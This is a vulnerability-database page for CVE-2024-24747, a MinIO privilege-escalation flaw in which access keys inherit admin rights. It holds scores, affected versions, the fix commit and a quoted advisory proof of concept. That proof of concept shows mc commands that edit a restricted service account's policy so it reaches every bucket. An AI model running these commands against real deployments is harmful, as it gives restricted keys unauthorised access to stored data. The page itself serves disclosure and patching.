8.8high
MinIO unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation
- Severity
- 8.8high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 4.35% (higher than 92% of CVEs)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-xx8w-mq23-29g4GO-2024-2499
Description
MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| minio minio | < RELEASE.2024-01-31T20-20-33Z, before RELEASE.2024-01-31T20-20-33Z, 2024-01-31t20-20-33z | CVE List, NVD |
| github.com/minio/minio (Go) | before 0.0.0-20240131185645-0ae4915a9391 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| NVD | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.
GitHub Advisory Database
Summary
When someone creates an access key, it inherits the permissions of the parent key. Not only for
s3:* actions, but also admin:* actions. Which means unless somewhere above in the
access-key hierarchy, the admin rights are denied, access keys will be able to simply
override their own s3 permissions to something more permissive.
Credit to @xSke for sort of accidentally discovering this. I only understood the implications.
Details / PoC
We spun up the latest version of minio in a docker container and signed in to the admin UI
using the minio root user. We created two buckets, public and private and created an
access key called mycat and attached the following policy to only allow access to the
bucket called public.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::public",
"arn:aws:s3:::public/*"
]
}
]
}
We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute
And checked whether policy works:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B public/
Looks good, we believe this is how 99% of users will work with access policies.
If I now create a file full-access-policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::*"
]
}
]
}
And then:
A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.
mycat has escalated its privileges to get access to the entire deployment:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B private/
[0001-01-01 00:53:28 LMT] 0B public/
Impact
A trivial privilege escalation unless the operator fully understands that they need to
explicitly deny admin actions on access keys.
Patched
commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date: Wed Jan 31 10:56:45 2024 -0800
fix: permission checks for editing access keys (#18928)
With this change, only a user with `UpdateServiceAccountAdminAction`
permission is able to edit access keys.
We would like to let a user edit their own access keys, however the
feature needs to be re-designed for better security and integration with
external systems like AD/LDAP and OpenID.
This change prevents privilege escalation via service accounts.
Go Vulnerability Database
Minio unsafe default: Access keys inherit admin of root user, allowing privilege escalation in github.com/minio/minio
NVD (es)
MinIO es un almacenamiento de objetos de alto rendimiento. Cuando alguien crea una clave de acceso, hereda los permisos de la clave principal. No solo para acciones `s3:*`, sino también para acciones `admin:*`. Lo que significa que, a menos que en algún lugar superior de la jerarquía de claves de acceso se denieguen los derechos de "administrador", las claves de acceso podrán simplemente anular sus propios permisos "s3" por algo más permisivo. La vulnerabilidad se solucionó en RELEASE.2024-01-31T20-20-33Z.
References
| https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4 | advisory, exploit, patch, vendor-advisory, web | |
| https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 | fix, patch, web | |
| https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z | patch, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2024-24747 | advisory | |
| https://github.com/minio/minio | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-24747 changed 2024-08-01 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-xx8w-mq23-29g4 changed 2026-10-08 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2024-2499 changed 2026-10-08 | CC-BY-4.0 |
| NVD | CVE-2024-24747 changed 2026-06-17 | Public domain |